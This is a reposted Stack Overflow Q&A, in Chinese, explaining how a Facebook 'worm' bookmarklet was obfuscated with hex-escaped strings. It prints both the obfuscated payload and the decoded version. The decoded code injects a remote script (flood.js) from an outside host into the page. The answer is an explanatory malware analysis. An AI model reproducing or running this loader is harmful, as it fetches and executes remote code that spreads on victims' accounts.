gpt4 book ai didi

javascript - 如何编码这个脚本?

转载 作者:塔克拉玛干 更新时间:2023-11-02 20:50:52 26 4
gpt4 key购买 nike

我最近发现了这个脚本,它基本上是一个 facebook “蠕虫”,所以不要运行它。我只想知道创作者是如何编码的。有帮助吗?

javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0);

最佳答案

作者使用了各种“混淆”的方法,即使代码在视觉上变得困惑和难以理解的各种技术。

_0x8dd5 是一个字符串数组:

['src', 'script', 'createElement',
'http://ug-radio.co.cc/flood.js', 'appendChild', 'body']

其余代码使用上述字符串中的属性名称,这样未混淆的代码实际上是

a = document.createElement('script');
a.src = 'http://ug-radio.co.cc/flood.js';
document.body.appendChild(a);

因此,作者为混淆代码所做的所有工作就是将所有属性名称引用为数组中的字符串。包含字符串的数组仅使用 \xNN 十六进制转义符号,使得这些字符串的含义不太明显。

作者通过查找构成当前编码字符串的字节的十六进制值来实现这一点。然后,对于字符串中的每个字节,他添加 \xNN,其中 NN 是十六进制字节值。当 JavaScript 解释器运行脚本时,解析器会自动用它们各自的字符替换这些转义符。

关于javascript - 如何编码这个脚本?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/6942022/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com